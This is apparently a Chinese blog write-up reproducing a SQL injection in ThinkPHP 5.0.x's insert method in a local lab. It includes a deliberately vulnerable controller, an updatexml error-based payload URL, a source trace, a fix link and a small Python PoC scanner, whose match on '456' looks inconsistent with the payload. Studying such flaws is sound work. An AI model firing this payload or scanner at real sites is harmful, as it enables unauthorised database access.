关于tp框架
ThinkPHP 是一个免费开源的,快速、简单的面向对象的 轻量级PHP开发框架
,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多的原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,已经成长为国内最领先和最具影响力的WEB应用开发框架,众多的典型案例确保可以稳定用于商业以及门户级的开发。
漏洞描述
尽管ThinkPHP 5.0.x框架采用了参数化查询方式,来操作数据库,但是在 insert 和 update方法中,传入的参数可控,且无严格过滤,最终导致本次SQL注入漏洞发生。
前期准备
下载地址:http://www.thinkphp.cn/down/1125.html
解压放在小皮中,访问页面
按照大佬的文章,这里我们要新建个数据库—表---字段
然后打开C:\phpstudy_pro\WWW\thinkphp_5.0.15\application
按照自己前面编写的来填空
修改config.php
修改database.php
在application/index/controller/Index.php
的Index类中添加方法:
public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}
然后拿着大佬写的payload访问触发
http://127.0.0.1/thinkphp_5.0.15/public/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
大佬给的解释
http://127.0.0.1/thinkphp/ public/ index.php/ index/ index/ index
域名 网站目录 对外访问目录 入口文件 前台 控制器 方法名
扩展:
其中关于 updatexml 函数UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
漏洞分析
首先,我们知道 insert 方法存在漏洞,那就查看 insert 方法的具体实现。
通过input获取到参数后,username变量情况如下:
username = {array}[3]
0 = "inc"
1 = "updatexml(1,concat(0x7,user(),0x7e),1)"
2 = "1"
跟入insert,thinkphp/library/think/db/Query.php
执行insert语句
$sql = $this->builder->insert($data, $options, $replace);
跟入 thinkphp/library/think/db/Builder.php
跟入parseData至 thinkphp/library/think/db/Builder.php
可以看出$val
是数组,且根据$val[0]
值为inc,会通过switch语句进入到’inc’:
此处的parseKey,即thinkphp/library/think/db/builder/Mysql.php
此处并未对传入的$key进行更多的过滤与检查,将其与前面经过parseKey的结果进行拼接后返回给result至此注入成功。
漏洞修补
https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
大佬文章地址:https://blog.csdn.net/Candyys/article/details/104864761
自己写的垃圾poc
import requests
import re
#分割线___________________________________
def domain1(domain):
url1 = domain + "/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1"
try:
res = requests.get(url1)
res.encoding = 'utf-8'
html = res.text
html_data = re.findall("456",html)
html_data1 = []
for i in html_data:
if not i in html_data1:
html_data1.append(i)
print("(温馨提示为null可能是不存在该漏洞):" + str(html_data1))
except Exception:
print("请检查网址是否正确")
def main():
domain = input("请输入域名或IP:")
domain1(domain)
if __name__ == '__main__':
main()